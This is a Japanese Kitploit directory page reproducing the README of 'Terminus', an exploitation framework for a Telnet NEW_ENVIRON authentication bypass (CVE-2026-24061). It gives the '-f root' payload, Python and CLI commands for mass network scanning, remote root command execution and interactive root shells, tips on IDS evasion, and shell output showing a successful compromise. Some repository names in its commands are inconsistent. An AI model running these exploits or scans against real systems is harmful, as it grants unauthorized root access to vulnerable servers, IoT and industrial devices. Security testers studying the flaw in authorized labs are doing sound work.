Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Terrminus-CVE-2026-2406 — AsyncIOスキャナー&エクスプロイトフレームワーク for CVE-2026-24061(Telnet NEW_ENVIRON 認証バイパス)。高並行ディスカバリ、パッシブフィンガープリンティング、および認可されたrootシェル昇格を特徴とします。 | Kitploit
ツール/GitHubGitHub/ridpath/terrminus-cve-2026-2406
特権昇格偵察脆弱性スキャナーIoTセキュリティエクスプロイトSCADA/ICSセキュリティ情報収集ウェブセキュリティネットワークセキュリティペネトレーションテストレッドチーミング
GitHub
26ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ridpath/terrminus-cve-2026-2406

Terrminus-CVE-2026-2406

AsyncIOスキャナー&エクスプロイトフレームワーク for CVE-2026-24061(Telnet NEW_ENVIRON 認証バイパス)。高並行ディスカバリ、パッシブフィンガープリンティング、および認可されたrootシェル昇格を特徴とします。

リポジトリを見る

Terminus - CVE-2026-24061 スキャナ & エクスプロイトフレームワーク

CVE-2026-24061 Telnet NEW_ENVIRON 認証バイパスおよび権限昇格脆弱性のためのセキュリティ解析エンジン。

Terminus


概要

Terminus は、CVE-2026-24061 の認定ペネトレーションテストおよび脆弱性評価のために設計されたプロフェッショナルなセキュリティ調査ツールです。この重大な脆弱性はレガシー Telnet デーモン実装に影響を与え、未認証のリモート攻撃者が認証をバイパスして root レベルのアクセスを取得することを可能にします。

CVE-2026-24061 とは?

CVE-2026-24061 は、RFC 1572 (Telnet 環境オプション) をサポートする Telnet サービスにおけるリモートコード実行脆弱性です。この脆弱性は、NEW_ENVIRON サブネゴシエーション中の USER 環境変数の不適切なサニタイズを悪用します:

  • 通常の認証: USER=john → パスワードを要求
  • エクスプロイトペイロード: USER=-f root → 認証をバイパスし、root シェルを付与

影響:

  • 完全な認証バイパス (パスワード不要)
  • root への即時権限昇格
  • システム全体の完全な侵害

影響を受けるサービス:

  • レガシー Telnet GNU Inetutils telnetd (具体的には 2.7 までのバージョン)
  • 脆弱な Telnet 実装を含む IoT ファームウェア
  • 古い Telnet サービスを備えた産業用制御システム

主な機能

大規模脆弱性スキャナ

  • 高並行スキャン: AsyncIO を使用して 1,000 以上のターゲットを同時にスキャン
  • CIDR サポート: ネットワーク範囲全体をスキャン (192.168.0.0/24、10.0.0.0/8)
  • 二重検出モード:
    • パッシブ (デフォルト): 高速、安全、シグネチャベースの検出
    • アクティブ検証 (--verify): エクスプロイトの証明、uid=0 root アクセスを確認
  • バナー解析: デーモンの種類とバージョンをフィンガープリント
  • リスクスコアリング: 多層的な信頼度評価 (CRITICAL、HIGH、MEDIUM、LOW)

RFC 準拠プロトコルエンジン

  • TerminusNegotiator クラス: Telnet プロトコル操作のためのクリーンな API
    • Terminus.handshake() - RFC 854 準拠のハンドシェイク
    • Terminus.exploit() - CVE-2026-24061 ペイロード配信
  • 適切なオプションネゴシエーション: プロトコル準拠による IDS/IPS 検出の回避
  • 状態機械: IAC シーケンス (DO/DONT/WILL/WONT/SB/SE) の堅牢な処理

認可ゲート付きエクスプロイト

  • 対話型シェル: root アクセスを備えた完全なポストエクスプロイトシェル
  • コマンド実行: 単一コマンドを実行して出力をキャプチャ
  • 証拠収集: uid、環境変数、システム情報を収集
  • 安全機構:
    • 明示的な --exploit フラグが必要
    • バッチスキャンモードでは無効
    • すべてのエクスプロイト試行の監査ログ

マルチフォーマットレポート

  • ターミナル: 色分けされたリスクレベル付きのリッチフォーマットテーブル
  • JSON: SIEM/SOAR 統合
  • CSV: スプレッドシート追跡
  • HTML: 統計付きの詳細レポート
  • Markdown: ドキュメントに適した出力

アーキテクチャ

コアエンジン: TerminusNegotiator

Terminus の中核は TerminusNegotiator クラスであり、プロトコル処理とエクスプロイトロジックの明確な分離を提供します:```python from terminus import TerminusNegotiator

Initialize engine

negotiator = TerminusNegotiator()

Step 1: RFC 854 compliant handshake

await negotiator.handshake(target="192.168.1.100", port=23)

Step 2: Deliver CVE-2026-24061 payload

result = await negotiator.exploit(payload="-f root")

if result.success: print(f"Root shell acquired: {result.evidence['uid']}")

root@kitploit:~
### エンジン方式とスクリプト方式

**従来のスクリプト**(既存ツール):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell

Terminusエンジン:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report

root@kitploit:~
---

## インストール

### 必要条件
- **Python 3.10以上**
- **対応プラットフォーム:**
  - Windows 10/11 (PowerShell)
  - Windows + WSL2 (Kali Linux、Parrot OS、Ubuntu)
  - ネイティブLinux (Kali、Parrot、Ubuntu、Debian)
  - macOS (Python 3.10以上)

### クイックスタート (全プラットフォーム)

#### Windows (PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git

# Run setup script
.\setup_env.ps1

# Activate virtual environment
.venv\Scripts\Activate.ps1

# Verify installation
terminus --version

Linux / WSL2 / macOS(Bash)```bash

Clone repository

git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406

Run setup script

chmod +x setup_env.sh ./setup_env.sh

Activate virtual environment

source venv/bin/activate

Verify installation

terminus --version

root@kitploit:~
#### 手動インストール(全プラットフォーム)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406

# Create virtual environment
python3 -m venv venv

# Activate (Linux/macOS/WSL)
source venv/bin/activate

# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1

# Install dependencies
pip install -e .

# Verify
terminus --version

依存関係(クロスプラットフォーム)

  • telnetlib3 - AsyncIO Telnet プロトコル実装
  • rich - ターミナル UI とフォーマット(Windows/Linux での ANSI サポート)
  • pydantic - データ検証とモデル
  • aiofiles - 非同期ファイル I/O
  • jinja2 - レポートテンプレート
  • pyyaml - 設定管理
  • pathlib - クロスプラットフォームのパス処理(組み込み)

注記: すべての依存関係は純粋な Python であるか、クロスプラットフォーム対応のホイールを備えています。プラットフォーム固有のコンパイルは不要です。


シェル補完(オプション)

コマンド入力を高速化するためのタブ補完を有効にします:

Bash```bash

_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc

root@kitploit:~
### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc

Fish```bash

_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish

root@kitploit:~
### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression

テストしてみる:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.

root@kitploit:~
---

## 使用方法

### スキャンモード

#### 単一ターゲットスキャン```bash
terminus scan -t 192.168.1.100

CIDR レンジスキャン```bash

terminus scan -t 192.168.1.0/24

root@kitploit:~
#### ファイルベースのバッチスキャン```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500

高並行ネットワークスキャン```bash

terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200

root@kitploit:~
### 検出モード

#### パッシブ検出(デフォルト - 安全)```bash
terminus scan -t target.com --passive-only

積極的検出(全ヒューリスティック)```bash

terminus scan -t target.com --aggressive

root@kitploit:~
#### アクティブ検証モード(エクスプロイトの実証)```bash
terminus scan -t 192.168.1.100 --verify

Usage

ライブデモンストレーション

バージョンの確認:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db

root@kitploit:~
**パッシブスキャン(デフォルト - 保守的なリスク評価):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Parsing 1 targets...
Found 1 valid targets

  Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00

╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061      │
│ Total Targets: 1         │
│ Scanned: 1               │
│ Failed: 0                │
│ Timeouts: 0              │
│                          │
│ Vulnerability Breakdown: │
│   Critical: 0            │
│   High: 0                │
│   Medium: 0              │
│   Low: 1                 │
│   Info: 0                │
│                          │
│ Duration: 3.53s          │
│ Avg Scan Time: 3522.22ms │
│                          │
╰──────────────────────────╯

                                 Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target        │ Port │  Status   │ Risk │ Daemon  │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low  │ unknown │ Unknown │     YES     │    -     │       3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯

No vulnerable targets found

--verify によるアクティブ検証(エクスプロイトの証明):```powershell PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify

================================================================ TERMINUS CVE-2026-24061 Scanner & Exploitation Framework

Parsing 1 targets... Found 1 valid targets

Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00

╭────── Scan Summary ──────╮ │ CVE: CVE-2026-24061 │ │ Total Targets: 1 │ │ Scanned: 1 │ │ Failed: 0 │ │ Timeouts: 0 │ │ │ │ Vulnerability Breakdown: │ │ Critical: 1 │ │ High: 0 │ │ Medium: 0 │ │ Low: 0 │ │ Info: 0 │ │ │ │ Duration: 8.04s │ │ Avg Scan Time: 8029.55ms │ │ │ ╰──────────────────────────╯

root@kitploit:~
                               Terminus - CVE-2026-24061 Scan Results

╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮ │ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │ ├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤ │ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │ ╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯

Found 1 vulnerable targets!

root@kitploit:~
**対話型エクスプロイテーション:**```powershell
PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Attempting exploitation of 172.17.45.122:2323...
Payload: -f root

CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained

[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit

whoami
root
┌──[root@parrot]─[~]
└──╼ #

主な観察結果:

  • パッシブモード: NEW_ENVIRONサポートを検出したが、リスクはLOWと報告(保守的)
  • アクティブ検証: rootアクセス(uid=0)を確認し、CRITICALリスクに引き上げ、「ROOT」検証ステータスを付与
  • 悪用: パスワードプロンプトなしで即座にrootシェルを取得

機能:

  • まずパッシブ検出を実行(バナー + プロトコル解析)
  • 脆弱性が疑われる場合、-f rootペイロードで実際の悪用を試行
  • レスポンス内のuid=0を確認してrootアクセスを検証
  • rootアクセスが確認された場合、リスクをCRITICALに引き上げ
  • スキャン結果に検証ステータスを出力

ユースケース:

  • コンプライアンスレポート向けの高信頼性検証
  • 概念実証(PoC)デモンストレーション
  • ベンダーへの報告前に悪用可能性を確認
  • 証拠収集を必要とするレッドチーム運用

出力例:``` Target Port Status Daemon Risk Verified 192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS 192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested 192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A

root@kitploit:~
**バッチ検証:**```bash
terminus scan -f targets.txt --verify -o json -w verified_results.json

注記: アクティブな検証は悪用を試みます。適切な許可を得た場合にのみ使用してください。

出力形式

JSON出力```bash

terminus scan -t 192.168.1.0/24 -o json > results.json

root@kitploit:~
#### HTMLレポート```bash
terminus scan -f targets.txt -o html -w report.html

CSVエクスポート```bash

terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv

root@kitploit:~
### 悪用(許可された使用のみ)

#### 対話型シェル```bash
terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target

コマンド実行```bash

terminus exploit -t 192.168.1.100 -c "id"

Output: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
#### カスタムペイロード```bash
terminus exploit -t 192.168.1.100 --payload "-f admin"

ユーティリティコマンド

脆弱性シグネチャの更新```bash

terminus update-signatures

root@kitploit:~
#### 以前の結果を検証する```bash
terminus verify -f results.json

バージョンと署名を表示```bash

terminus version

root@kitploit:~
---

## テスト環境のセットアップ

### レッドチーム向け: クロスプラットフォーム展開

**Terminusはポータブル展開用に設計されています** - ディレクトリを任意のWindows/Linuxシステムにコピーし、インストールなしで実行できます:```bash
# Copy terminus directory to target system
# No hardcoded paths - everything is relative

# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24

# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml

WSL2 テスト環境(Windows)

Windows レッドチームワークステーションに推奨 - 脆弱なテストサービスを展開するための分離されたLinux環境:

KaliまたはParrotでWSL2をインストール```powershell

Windows PowerShell (Admin)

Install WSL2

wsl --install

Install Kali Linux

wsl --install -d kali-linux

OR Install Parrot OS (if available)

wsl --install -d ParrotOS

Verify

wsl -l -v

root@kitploit:~
#### WSL2 内(Kali/Parrot)```bash
# Update system
sudo apt update && sudo apt upgrade -y

# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv

# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump

# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate

脆弱性テストサービスをデプロイ(WSL2のみ)

警告: 隔離されたラボ環境でのみ使用してください。本番システムでは絶対に使用しないでください。```bash

Inside WSL2

Install vulnerable netkit-telnetd version

sudo apt install netkit-telnetd=0.17-*

Configure for NEW_ENVIRON support

Edit /etc/inetd.conf to enable telnet

Start service

sudo systemctl restart inetd

Test from Windows host

From PowerShell:

terminus scan -t $(wsl hostname -I)

root@kitploit:~
### クロスプラットフォームテストマトリクス

Red Team が使用するすべてのプラットフォームで Terminus をテストしてください:

| プラットフォーム | インストール | スキャン | エクスプロイト |
|----------|-------------|----------|--------------|
| Windows 10/11 (PowerShell) | はい | はい | はい |
| WSL2 - Kali Linux | はい | はい | はい |
| WSL2 - Parrot OS | はい | はい | はい |
| WSL2 - Ubuntu | はい | はい | はい |
| ネイティブ Kali Linux | はい | はい | はい |
| ネイティブ Parrot OS | はい | はい | はい |
| macOS | はい | はい | はい |

---

## API リファレンス

### Python 統合```python
import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore

async def scan_network():
    # High-level scanner
    async with TerminusScanner() as scanner:
        async for result in scanner.scan_targets(["192.168.1.0/24"]):
            if result.risk_score == RiskScore.CRITICAL:
                print(f"CRITICAL: {result.target}")
                print(f"   Daemon: {result.daemon_type} {result.version}")
                print(f"   Confidence: {result.vulnerability_confidence:.2%}")

async def exploit_target():
    # Direct engine usage
    negotiator = TerminusNegotiator()
    
    # Handshake
    success = await negotiator.handshake(target="192.168.1.100", port=23)
    if not success:
        print("Handshake failed")
        return
    
    # Exploit
    result = await negotiator.exploit(payload="-f root")
    if result.success:
        print(f"Root access obtained")
        print(f"Evidence: {result.evidence}")

# Run
asyncio.run(scan_network())

セキュリティと倫理

法的警告

このツールは以下の目的のみで使用することを意図しています:

  • 許可を得たペネトレーションテスト業務
  • 管理された環境でのセキュリティ研究
  • CTFコンペティションおよび教育用ラボ
  • 書面による許可を得た防御的セキュリティ評価

許可のない使用は違法であり、非倫理的です。

安全機構

  1. 認可必須: 悪用には明示的な--exploitフラグが必要です
  2. 確認プロンプト: 悪用前にインタラクティブな確認を行います
  3. 監査ログ: すべての悪用試行はタイムスタンプ付きで記録されます
  4. 単一ターゲット強制: バッチスキャンモードでは悪用は無効化されます
  5. レート制限: スキャン中の偶発的なDoSを防止します

責任ある開示

Terminusを使用して脆弱なシステムを発見した場合:

  1. 書面による許可なしにシステムを悪用しないでください
  2. 責任ある開示を通じてシステム所有者に調査結果を報告してください
  3. Terminusのレポート機能を使用して調査結果を文書化してください
  4. 調整された脆弱性開示ガイドラインに従ってください

参考文献

CVE情報

  • CVE ID: CVE-2026-24061
  • 深刻度: CRITICAL (CVSS 9.8)
  • ベクター: ネットワーク、認証不要、低複雑性

研究と実装

  • 主要研究: SafeBreach-Labs CVE-2026-24061
  • 参照エクスプロイト: telnet_rce.py
  • バッチスキャナー: TryA9ain CVE-2026-24061

プロトコル標準

  • RFC 854: Telnetプロトコル仕様
  • RFC 1572: Telnet環境オプション

テストと検証

テストカバレッジ

  • pytestによる90%以上のコードカバレッジ
  • すべてのコアモジュールのユニットテスト
  • モックTelnetサーバーによる統合テスト
  • パフォーマンスベンチマーク(1,000ターゲット < 60秒)

手動テストチェックリスト

  • 脆弱なサービスをスキャン(検出を確認)
  • パッチ適用済みサービスをスキャン(誤検知がないことを確認)
  • 認証バイパスをテスト(パスワードプロンプトなし)
  • 権限昇格を検証(uid=0)
  • IDSアラートを監視(ステルス性を確認)
  • パフォーマンステスト(1,000+ターゲット)

設定

config.yaml(クロスプラットフォーム)

すべてのパスはプロジェクトルートを基準としています - 変更なしでWindows、Linux、WSLで動作します:```yaml

config.yaml - Cross-platform configuration

All paths relative to project directory

scanner: default_port: 23 connect_timeout: 3.0 handshake_timeout: 5.0 max_concurrent: 1000 rate_limit: 100 # connections/second

detection: passive_only: true # Safe mode by default banner_timeout: 2.0 heuristic_checks: true

Signature database (relative path)

signatures_db: "./signatures.db"

exploit: require_authorization: true default_payload: "-f root" evidence_collection: true interactive_shell: true

reporting: default_format: "terminal" include_safe_targets: false verbosity: "normal"

Output directory (relative path - works on Windows/Linux)

output_dir: "./reports"

logging: level: "INFO"

Log file (relative path - automatic directory creation)

file: "./logs/terminus.log" format: "json" console_enabled: true


Acknowledgments

  • SafeBreach Labs: Original CVE-2026-24061 research and exploit implementation
  • TryA9ain: Batch scanning approach inspiration
  • RFC Authors: Telnet protocol specifications

ツールをダウンロード